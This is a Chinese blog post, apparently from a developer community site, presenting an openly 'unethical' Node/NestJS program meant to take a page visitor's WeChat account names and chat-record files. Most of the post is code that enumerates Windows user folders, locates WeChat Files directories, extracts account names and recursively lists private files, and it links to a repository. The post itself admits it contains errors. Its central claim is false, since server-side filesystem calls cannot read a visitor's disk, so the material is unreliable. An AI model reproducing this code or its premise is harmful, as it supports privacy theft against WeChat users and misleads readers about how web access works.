当访问我页面的时候,我怎么把你的微信号和聊天记录文件拿走

文章有误,修改中,不用看了

大家好,又是没活干的一天,今天用nestjs写一个不道德的程序,请记住,不道德

刚刚构思的时候感觉半个小时就写完了,真正开始后还是用了几个小时的。就是当你访问我的链接的的时候,我怎么拿到你的微信名,和微信聊天文件

效果如下:

其实说起来思路也简单,就是一路排除各种文件夹,最后定位到微信存放信息所在的文件夹,只支持PC 不过还是有一些小的知识点的

获取Pc用户名

就是这个C:\Users

首先从C:\Users下获取所有文件夹,然后过滤掉不符合条件的

ini 复制代码
 const files = fs.readdirSync(usersPath);
      const users = files.filter((file) => {
        const filePath = `${usersPath}/${file}`;
        const stats = fs.statSync(filePath);
        const excludedFolders = [
          'Default',
          'All Users',
          'Default User',
          'Public',
        ];
        // stats.isDirectory() 判断给定路径是否是一个目录
        return (
          stats.isDirectory() &&
          !file.startsWith('.') &&
          !excludedFolders.includes(file)
        );
      });
  • stats.isDirectory():判断给定路径是否是一个目录,即判断是否为文件夹。
  • !file.startsWith('.'):排除以点开头的文件或文件夹,通常是隐藏文件或文件夹。
  • !excludedFolders.includes(file):排除excludedFolders数组中包含的文件夹名称。

确定WeChat Files的路径

大概找到Pc的用户名(数组)之后,再进一步确定当前用户的文件夹下是否有WeChat Files路径 这个方法会返回包含WeChat Files的路径

javascript 复制代码
function checkFolderPath(userFolder) {
  const folderPath = `C:/Users/${userFolder}/Documents/WeChat Files`;

  try {
    fs.accessSync(folderPath, fs.constants.R_OK);
    return folderPath;
  } catch (err) {
    return null;
  }
}

获取当前电脑(用户)下所有登录过的微信路径

因为当前电脑如果登录过多个微信的话,路径是这样的

lua 复制代码
WeChat Files
     |-weixin1
     |-weixin2
     |-common
     |--

所有我们需要获取到可能是用户路径的路径,那就找用户路径的不同吧,那就是用户路径下会有一个account_开头的文件夹,而后面的字符串就是你的微信名了,知道怎么搞,代码就好写了

首先排除掉肯定不是用户路径的文件夹

javascript 复制代码
 const folders = fs.readdirSync(folderPath, { withFileTypes: true });
 
 folders
    .filter(
      (folder) => folder.isDirectory() && !notFolders.includes(folder.name),
    )
    .map((folder) => `${folderPath}/${folder.name}`);
  1. 首先使用使用fs.readdirSync()方法同步地读取指定路径folderPath下的文件和文件夹列表
  2. 然后过滤掉不是文件夹和不可能是用户路径的路径
  3. 最后返回完整路径

获取微信名

到上一步返回路径中文件夹里不包含account_的文件夹,然后截取account_后的字符

ini 复制代码
function getWeiName(folderPath) {
  const folders = fs.readdirSync(folderPath, { withFileTypes: true });
  let str = '';
  folders.forEach((folder) => {
    if (folder.name.includes('account_')) {
      str = folder.name.substring(8);
    }
  });
  return str;
}

这样就获取到了所有的微信名

获取聊天记录的文件

这个很简单,写个递归,把文件夹里的文件存起来返回就行了

ini 复制代码
function getAllFilesInDir(dirPath) {
  const filesList = [];

  function walkDir(currentPath) {
    const files = fs.readdirSync(currentPath);
    for (const file of files) {
      const filePath = path.join(currentPath, file);
      const stats = fs.statSync(filePath);
      if (stats.isFile()) {
        filesList.push(filePath);
      } else if (stats.isDirectory()) {
        walkDir(filePath);
      }
    }
  }

  walkDir(dirPath);
  return filesList;
}

几个API简单介绍下

  • stats.isFile()方法返回true,表示当前项是一个文件
  • stats.isDirectory()方法返回true,表示当前项是一个子目录,递归调用walkDir函数
  • path.join()方法将其路径与当前目录路径拼接,得到完整的文件或子目录路径filePath

到这基本上就完成了,代码使用了同步的文件系统操作,如fs.readdirSync()fs.statSync(),如果在处理大量文件或目录时,可能会导致代码执行阻塞,这个就是玩玩而已 写到这里才感觉,隐私原来这么容易获取,全靠道德约束啊

源码地址:wangshaojie/weixin: 获取微信用户名和聊天记录里的文件 (github.com)

相关推荐
Asthenia04121 小时前
Spring扩展点与工具类获取容器Bean-基于ApplicationContextAware实现非IOC容器中调用IOC的Bean
后端
bobz9651 小时前
ovs patch port 对比 veth pair
后端
Asthenia04121 小时前
Java受检异常与非受检异常分析
后端
uhakadotcom2 小时前
快速开始使用 n8n
后端·面试·github
JavaGuide2 小时前
公司来的新人用字符串存储日期,被组长怒怼了...
后端·mysql
bobz9652 小时前
qemu 网络使用基础
后端
Asthenia04122 小时前
面试攻略:如何应对 Spring 启动流程的层层追问
后端
Asthenia04122 小时前
Spring 启动流程:比喻表达
后端
Asthenia04123 小时前
Spring 启动流程分析-含时序图
后端
ONE_Gua3 小时前
chromium魔改——CDP(Chrome DevTools Protocol)检测01
前端·后端·爬虫